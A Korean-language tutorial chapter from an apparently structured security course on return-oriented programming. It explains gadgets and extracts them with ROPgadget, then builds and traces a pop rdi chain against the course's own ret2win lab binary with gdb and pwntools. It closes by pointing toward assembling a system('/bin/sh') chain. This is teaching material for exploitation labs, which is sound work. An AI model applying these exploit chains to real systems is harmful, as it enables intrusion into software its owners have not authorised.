Step 205. ROP 1: 가젯 개념, ROPgadget/ropper — 코드 조각의 조립술
Level 3 — Pwn 트랙 | 난이도 ★★★★☆ | 예상 소요 시간 4시간
전제: Step 204를 마쳤다.
pop rdi; ret가젯으로 인자를 세팅해 함수를 부른 경험이 있고, pwntools를 쓸 수 있다.
⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 준비물: Step 204의 ret2win 바이너리, ROPgadget(venv), gdb, pwntools. 실측 환경은 Ubuntu 24.04, ROPgadget 7.7, pwntools 4.15.0입니다.
- 주의: ROP은 NX 방어를 우회하는 실전 공격의 주축입니다. 오늘의 모든 실험 대상은 여러분이 만든 실험용 바이너리입니다.
Step 204에서 우리는 pop rdi; ret 조각 하나를 빌려 함수에 인자를 쥐여줬습니다. 그런데 그 조각은 어디서 왔을까요? 찾아보니 바이너리 곳곳에 이런 조각이 수십, 수백 개 숨어 있었고, libc 같은 큰 라이브러리에는 십만 개가 넘었습니다. 오늘은 이 조각들 — 가젯 — 을 체계적으로 수집하고, 읽고, 수동으로 이어 붙이는 법을 배웁니다. ROP의 정석입니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 가젯의 정의("ret로 끝나는 명령 조각")와 유용 가젯의 종류를 안다
ROPgadget으로 바이너리에서 가젯을 추출하고 grep으로 필터링한다- 바이너리 크기와 가젯 수의 관계를 실측으로 설명한다
- 스택 레이아웃 그림으로 체인을 설계하고, gdb로 가젯이 도미노처럼 이어지는 것을 관찰한다
- pwntools의
ROP()자동화가 만든 체인을 읽고 수동 체인과 대조한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬(pwntools) + bash, WSL 우분투, ROPgadget 7.7, gdb 15.1 (x86-64) |
| 오늘의 명령어·API | ROPgadget --binary ./대상(전체 추출), --only "pop|ret"(필터), ROP(e), rop.find_gadget(), rop.call(), rop.dump(), gdb의 si(명령 한 줄씩 실행) |
| 필요한 개념 | 가젯, 코드 재사용 공격, NX와 ROP의 관계, 체인의 스택 레이아웃 |
2-1. 가젯의 정체 — 바이트의 재해석
가젯은 프로그래머가 심은 코드가 아닙니다. x86-64는 명령어 길이가 들쭉날쭉한 가변 길이 아키텍처라서, 명령의 중간 바이트부터 읽기 시작하면 전혀 다른 명령이 튀어나옵니다. 예를 들어 함수 어딘가에 있는 바이트 열 5f c3은 그 자리부터 실행하면 pop rdi; ret입니다.
ROPgadget 같은 도구는 바이너리 전체를 훑어 ret(0xc3)로 끝나는 유효한 명령 조합을 전부 찾아냅니다. 그래서 가젯 목록은 "프로그래머의 의도"가 아니라 "CPU가 해석할 수 있는 모든 가능성"의 목록입니다.
2-2. 유용 가젯 카드 — 용도별 정리
실전에서 자주 쓰는 가젯은 몇 종류로 정해져 있습니다.
| 가젯 | 하는 일 | 용도 |
|---|---|---|
pop rdi ; ret |
스택 → 첫 번째 인자 | 함수에 인자 하나 전달 |
pop rsi ; ret |
스택 → 두 번째 인자 | 인자 둘 이상일 때 |
pop rdx ; ret |
스택 → 세 번째 인자 | execve 등 세 인자 함수 |
pop rax ; ret |
스택 → rax | 시스템 콜 번호 세팅 |
ret |
아무 일 없이 다음으로 | 스택 16바이트 정렬 맞추기 |
syscall |
시스템 콜 호출 | libc 없이 직접 커널 호출 |
leave ; ret |
rbp/rsp 재배치 | 스택 피벗(고급) |
2-3. 왜 ROP인가 — NX 시대의 공격
Step 187에서 배운 NX는 "스택의 데이터를 실행하지 못하게" 막습니다. 내가 심은 쉘코드는 실행할 수 없게 된 것입니다. 하지만 ROP는 새 코드를 심지 않습니다. 실행 권한이 이미 있는 코드 영역의 조각들을 ret로 이어 붙일 뿐입니다. NX는 데이터/코드의 구분을 지키는 방어인데, ROP는 그 구분을 어기지 않고 우회합니다.
이것이 오늘 배우는 기술이 수십 년간 실전 익스플로잇의 주축인 이유입니다. 방어자는 이에 맞서 가젯 자체를 줄이거나(CET/IBT 같은 하드웨어 보조), 주소를 숨기는(ASLR) 방어를 만들었고, 그 공방이 Step 207까지 이어집니다.
2-4. 체인의 스택 레이아웃 — 도미노 설계도
Step 204의 체인을 스택 그림으로 그리면 이렇습니다.
높은 주소 ↑
┌─────────────────┐
│ win 주소 │ ← 가젯의 ret가 꺼내는 다음 행선지
├─────────────────┤
│ "open_sesame" │ ← pop rdi가 꺼내는 값
├─────────────────┤
│ pop rdi;ret 주소│ ← vuln의 ret가 꺼내는 첫 행선지 (RET 칸)
├─────────────────┤
│ A × 40 (패딩) │ ← buf에서 RET까지
└─────────────────┘
낮은 주소 ↓ (gets는 여기서부터 위로 채운다)
ret 하나는 "스택 꼭대기를 꺼내 그곳으로 가고, 꼭대기를 한 칸 내린다"는 동작입니다. 그래서 스택에 주소를 쌓는 것만으로 실행 순서표를 만든 셈이 됩니다. 이 그림을 손으로 그릴 수 있어야 체인을 설계할 수 있습니다.
3. 따라 하기
3-1. 가젯 추출 — ROPgadget
Step 204의 바이너리를 대상으로 전체 가젯을 뽑아 봅니다.
cd ~/lab204_208
/root/lab188/venv/bin/ROPgadget --binary ./ret2win
Gadgets information
============================================================
0x0000000000401075 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040112b : add bh, bh ; loopne 0x401195 ; nop ; ret
...
0x00000000004011be : pop rdi ; ret
0x00000000004011c0 : pop rsi ; ret
...
0x000000000040101a : ret
Unique gadgets found: 83
(2026-09-09 실측. 전체 목록은 73줄 남짓으로 깁니다 — 중간은 생략했습니다.)
출력 읽는 법: 한 줄이 곧 가젯 하나 — 주소 : 명령들 형식입니다. 같은 주소라도 시작 바이트가 다르면 다른 가젯이 되는 경우가 있습니다 (예: 0x4011b6부터 읽으면 endbr64; push rbp; mov rbp, rsp; pop rdi; ret, 0x4011be부터 읽으면 pop rdi; ret). 우리가 필요한 것은 뒷부분만 깔끔한 가젯입니다.
3-2. 필터링 — 필요한 것만 건지기
목록이 길면 grep과 --only 옵션으로 좁힙니다.
/root/lab188/venv/bin/ROPgadget --binary ./ret2win --only "pop|ret" | grep -E "pop rdi ; ret$|pop rsi ; ret$| : ret$"
0x00000000004011be : pop rdi ; ret
0x00000000004011c0 : pop rsi ; ret
0x000000000040101a : ret
(2026-09-09 실측.)
읽는 법: --only "pop|ret"은 지정한 명령만 포함된 가젯으로 제한하고, grep의 ret$는 ret로 끝나는 것만 남깁니다. 중간에 점프가 끼면(jmp 0x...) 체인이 그곳으로 새 버리니, 끝이 순수한 ret인 것만 골라야 합니다.
3-3. 코드의 크기 = 가젯의 수 — libc와 비교
작은 바이너리(83개)와 운영체제의 거대 라이브러리를 비교해 봅시다.
/root/lab188/venv/bin/ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | tail -1
/root/lab188/venv/bin/ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep " : pop rdi ; ret$" | head -1
Unique gadgets found: 107510
0x000000000010c08d : pop rdi ; ret
(2026-09-09 실측. 수 분 걸릴 수 있습니다.)
출력 읽는 법: 우리의 장난감 바이너리는 83개, libc는 107,510개의 가젯을 품고 있습니다. 코드가 클수록 우연한 조각도 많아지고, 그래서 실전 ROP는 libc를 가젯 창고로 씁니다. 단, libc의 주소는 ASLR로 매번 바뀌므로 0x10c08d 같은 숫자는 "파일 내 오프셋"일 뿐입니다. 이걸 실제 주소로 바꾸는 법이 ret2libc(Step 207)의 주제입니다.
참고: 같은 일을 하는 도구로
ropper도 있습니다 (표시 형식과 검색 문법이 조금 다릅니다). 하나만 익숙해지면 충분합니다.
3-4. ★ 도미노 관찰 — gdb로 체인 따라가기
Step 204의 페이로드(패딩 + pop rdi + 값 + win)를 그대로 써서, 가젯에 멈춤을 걸고 한 명령씩 따라가 봅니다.
gdb -q ./ret2win
(gdb) b *0x4011be
Breakpoint 1 at 0x4011be: file ret2win.c, line 6.
(gdb) r < payload204.txt
Breakpoint 1, gadgets () at ret2win.c:6
(gdb) x/2i $rip
=> 0x4011be <gadgets+8>: pop %rdi
0x4011bf <gadgets+9>: ret
(gdb) x/3gx $rsp
0x7fffffffe5e0: 0x0000000000402008 0x00000000004011c5
0x7fffffffe5f0: 0x00007fffffffe600
(gdb) si
(gdb) info registers rdi rip
rdi 0x402008 4202504
rip 0x4011bf 0x4011bf <gadgets+9>
(gdb) si
(gdb) x/1i $rip
=> 0x4011c5 <win>: endbr64
(2026-09-09 실측.)
출력 읽는 법: 도미노가 넘어가는 순간입니다.
- 멈춘 지점의 스택 꼭대기:
0x402008(우리의 값)과0x4011c5(win)가 차례로 놓여 있습니다. si(한 명령 실행) 한 번:pop rdi가 실행돼 rdi = 0x402008, rip는 ret를 가리킵니다.si두 번: ret가 스택에서 0x4011c5를 꺼내 win으로 점프했습니다.
스택의 숫자가 레지스터가 되고, 다음 숫자가 행선지가 되는 것. 이것이 ROP의 전부입니다. 체인이 아무리 길어져도 이 동작의 반복일 뿐입니다.
3-5. 자동화 맛보기 — pwntools ROP()
손으로 쌓은 체인을 pwntools가 자동으로 만들어 줍니다.
입력 (rop_auto.py)
#!/usr/bin/env python3
from pwn import *
e = ELF('/root/lab204_208/ret2win')
context.binary = e # 이 한 줄이 아키텍처(amd64)를 잡아 준다
rop = ROP(e)
g = rop.find_gadget(['pop rdi', 'ret'])
print("pop rdi 가젯:", g)
rop.call('win', [0x402008])
print(rop.dump())
print("chain hex:", rop.chain().hex())
실행
/root/lab188/venv/bin/python3 rop_auto.py
pop rdi 가젯: Gadget(0x4011be, ['pop rdi', 'ret'], ['rdi'], 0x10)
0x0000: 0x4011be pop rdi; ret
0x0008: 0x402008 [arg0] rdi = 4202504
0x0010: 0x4011c5 win
chain hex: be114000000000000820400000000000c511400000000000
(2026-09-09 실측.)
출력 읽는 법: rop.call('win', [0x402008]) 한 줄이 우리의 수동 체인과 완전히 같은 바이트 열을 만들었습니다 — be114000...(pop rdi), 08204000...(인자), c5114000...(win). 3-4에서 손으로 세운 순서 그대로입니다. 자동화를 쓰더라도 안에서 무슨 일이 일어나는지는 이제 여러분이 압니다. CTF 실전에서는 이 자동화로 수십 층짜리 체인을 만들지만, 막혔을 때 디버깅하는 사람은 결국 이 장면을 아는 사람입니다.
4. 미션과 연습문제
미션 — 가젯 카드와 수동 체인 설계도
- ret2win 바이너리(또는 여러분이 직접 만든 임의의 실습 바이너리)에서
ROPgadget --only "pop|ret"로 가젯을 추출한다 - 나만의 가젯 카드를 만든다:
pop rdi,pop rsi,pop rdx,ret네 종류 각각에 대해 주소와 용도를 표로 정리한다 (없는 종류는 "없음"과 그 이유를 적는다) - Step 204 미션의 두 인자 체인(패딩 + pop rdi + 값1 + pop rsi + 값2 + 함수)을 스택 레이아웃 그림으로 그린다 — 2-4의 형식으로, 각 칸에 주소와 역할을 적는다
- gdb로 체인의 매 ret마다 rip가 어느 가젯/함수로 이동하는지
si추적 기록을 남긴다 - 같은 체인을 pwntools
ROP()으로 자동 생성해,rop.dump()출력이 내 그림과 일치하는지 대조한다
연습문제
문제 1. 가젯은 공격자가 프로그램에 심는 코드인가요? 아니라면 어디서 오는 건가요?
문제 2. NX(스택 실행 금지)가 켜져 있어도 ROP가 동작하는 이유를 설명해 보세요.
문제 3. 3-3에서 libc는 107,510개의 가젯을 가졌습니다. 그런데 libc의 가젯 주소를 곧바로 페이로드에 쓸 수 없는 이유는 무엇인가요?
문제 4. pop rdi ; jmp 0x401020처럼 끝이 ret가 아닌 가젯을 체인에 쓰면 어떻게 되나요?
5. 모범 답안과 완료 기준
미션 모범 답안
리포트의 예 (2026-09-09 실측 기준 — 주소는 환경에 따라 달라집니다):
[가젯 카드]
| 가젯 | 주소 | 용도 |
| pop rdi ; ret | 0x4011be | 첫 번째 인자 세팅 |
| pop rsi ; ret | 0x4011c0 | 두 번째 인자 세팅 |
| pop rdx ; ret | 없음 | — (작은 바이너리) |
| ret | 0x40101a | 스택 정렬 |
[스택 레이아웃 — 두 인자 체인]
RET 칸: pop rdi 주소 ← vuln의 ret가 여기로
RET+8: "stage1" 주소 ← pop rdi가 꺼냄
RET+16: pop rsi 주소 ← 첫 ret의 행선지
RET+24: "stage2" 주소 ← pop rsi가 꺼냄
RET+32: win2 주소 ← 둘째 ret의 행선지
[gdb 추적] si마다 rip: 0x4011be → (pop) → 0x4011bf(ret) → 0x4011c0 → ... → win2
[자동 대조] rop.call('win2', [주소1, 주소2])의 dump가 위 그림과 동일
검증하는 법: ① 카드의 주소가 실제 ROPgadget 출력과 일치하는가. ② 그림의 칸 수와 순서가 실제 페이로드(8바이트 × 5 + 패딩)와 일치하는가. ③ gdb 추적에서 매 단계의 rip가 그림의 순서대로 이동했는가.
연습문제 해답
문제 1 해답. 아닙니다. 프로그램의 코드 영역에 원래 존재하는 바이트들을, 명령 경계와 상관없이 "ret로 끝나는 유효한 조각"으로 재해석한 것입니다. x86-64의 가변 길이 명령 구조 덕분에, 한 바이트만 건너뛰고 읽어도 새로운 명령이 됩니다.
문제 2 해답. ROP는 새 코드를 메모리에 심지 않기 때문입니다. 이어 붙이는 조각들은 전부 원래 실행 권한이 있는 코드 영역(.text)의 것이고, 스택에는 주소와 데이터만 놓입니다. NX는 "데이터 영역의 실행"을 막는 장치이므로, 코드 영역만 뛰어다니는 ROP에는 걸리지 않습니다.
문제 3 해답. ASLR 때문입니다. libc가 메모리에 실리는 시작 주소(베이스)는 실행마다 바뀌므로, ROPgadget이 보고한 0x10c08d 같은 숫자는 "베이스로부터의 거리(오프셋)"일 뿐입니다. 실제 주소 = 그 실행의 libc 베이스 + 오프셋이고, 베이스를 알아내는 기술(leak)이 바로 Step 207의 주제입니다.
문제 4 해답. 체인이 끊깁니다. pop rdi까지는 실행되지만, 그다음 jmp 0x401020가 스택을 보지 않고 그 주소로 가 버리므로 우리가 쌓아 둔 다음 가젯으로 이어지지 않습니다. 그래서 ROPgadget 결과를 grep할 때 ret$(ret로 끝나는 것)만 고르는 것입니다. 체인의 연결고리는 오직 ret뿐입니다.
완료 기준 체크리스트
- [ ] 가젯이 "프로그래머의 의도가 아닌 바이트의 재해석"임을 설명할 수 있다
- [ ] ROPgadget으로 가젯을 추출하고 grep/–only로 필터링했다
- [ ] 작은 바이너리(83개)와 libc(107,510개)의 가젯 수 차이를 확인했다
- [ ] 유용 가젯 카드(pop rdi/rsi/rdx, ret, syscall)의 용도를 안다
- [ ] 체인의 스택 레이아웃 그림을 손으로 그릴 수 있다
- [ ] gdb의 si로 ret 도미노가 이어지는 것을 관찰했다
- [ ] pwntools ROP()의 자동 체인이 내 수동 체인과 같음을 대조했다
- [ ] 미션: 가젯 카드 + 설계도 + gdb 추적 리포트를 완성했다
6. 흔한 실수와 해결
벽 1. pwntools가 이상하게 짧은(4바이트짜리) 체인을 만든다
증상: rop.call()의 결과가 이렇게 4바이트씩 찍힙니다 (집필 실측에서 실제로 겪은 사고입니다):
0x0000: 0x4011c5 win(0x402008)
0x0004: b'baaa' <return address>
0x0008: 0x402008 arg0
원인: context.binary를 지정하지 않아 pwntools가 32비트(i386)로 착각했습니다. i386은 인자를 스택에 싣는 규약이라 체인 모양 자체가 다릅니다.
해결: ELF()를 만든 직후 context.binary = e를 쓰세요. 그러면 amd64 규약에 맞는 8바이트 체인이 나옵니다.
벽 2. ROPgadget이 너무 오래 걸린다
증상: libc처럼 큰 파일에서 몇 분씩 걸립니다.
원인: 정상입니다. 십만 개 조각을 찾는 작업입니다.
해결: 작은 바이너리로 먼저 연습하고, libc 검색은 --only "pop|ret" 등으로 범위를 좁히세요. pwntools는 한 번 찾은 가젯을 캐시합니다 ("Loaded 7 cached gadgets").
벽 3. 가젯 주소가 한 바이트 어긋났다
증상: 체인이 엉뚱한 곳으로 가거나 즉사합니다.
원인: 0x4011be를 0x4011bf로 쓰는 식의 한 바이트 오차 — 0x4011bf부터는 ret만 남아 의도와 다릅니다.
해결: 주소는 복사-붙여넣기가 원칙입니다. 그리고 gdb에서 b *주소로 걸었을 때 x/2i $rip가 의도한 명령을 보여주는지 확인하세요.
벽 4. pwn checksec은 되는데 ROP()에서 가젯을 못 찾는다
증상: rop.find_gadget(['pop rdi', 'ret'])가 None을 돌려줍니다.
원인: 그 바이너리에 정말 그 가젯이 없을 수 있습니다 (Step 204의 벽 2 참조 — 최신 작은 바이너리에서 흔합니다).
해결: ROPgadget으로 실제 목록을 확인하세요. 없으면 실습용 가젯 함수를 심거나, 대상을 libc로 넓힙니다.
벽 5. ROPgadget 설치가 안 된다
증상: pip install ROPGadget 후에도 명령이 없습니다.
원인: venv 밖에 설치했거나 PATH 문제입니다.
해결: Step 188의 venv 기준 ./venv/bin/pip install ROPGadget로 설치하고 ./venv/bin/ROPgadget으로 부르세요. 이 책의 실츬 경로는 /root/lab188/venv/bin/ROPgadget이었습니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 가젯 | ret로 끝나는 명령 조각 — 코드 영역의 바이트 재해석 |
| 코드 재사용 공격 | 새 코드를 심지 않고 있는 코드를 이어 붙이는 공격 |
| 가젯 창고 | 코드가 클수록 가젯이 많다 — libc가 대표적 |
| ret 도미노 | 스택 꼭대기를 꺼내 점프하는 ret의 연쇄가 곧 ROP |
| ROP 자동화 | pwntools ROP() — 사람은 설계, 도구는 조립 |
오늘의 명령어·API
| 명령·코드 | 하는 일 |
|---|---|
ROPgadget --binary ./대상 |
가젯 전체 추출 |
--only "pop|ret" |
명령 종류로 1차 필터 |
grep " : ret$" |
ret로 끝나는 것만 2차 필터 |
rop = ROP(e) + context.binary = e |
자동화 준비 (아키텍처 고정) |
rop.find_gadget(['pop rdi', 'ret']) |
가젯 하나 찾기 |
rop.call('함수', [인자]) → rop.chain() |
호출 체인 자동 생성 |
si (gdb) |
한 명령씩 실행 — 도미노 추적 |
명령어보다 중요한 감각
오늘의 핵심 그림은 하나입니다. 스택이 명령 목록이 되는 것. ret는 그 목록의 다음 항목을 꺼내 실행하는 바보 같은 실행기이고, 우리는 그 실행기가 읽을 목록을 위조합니다. 가젯이란 그 목록에 올릴 수 있는 "단어"의 사전이고, ROPgadget은 그 사전을 자동으로 베껴 주는 도구입니다.
도구가 체인을 자동으로 만들어 주는 시대에도, 막혔을 때 돌아올 곳은 오늘의 수동 도미노 관찰입니다. 자동화는 이해의 대체가 아니라 이해의 증폭기입니다. 그리고 이 사전의 단어들로 쓸 수 있는 가장 유명한 문장이 있습니다 — system("/bin/sh"). 그 문장의 조립은 이제 여러분 손에 달렸습니다.
전부 체크되면 Step 205 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.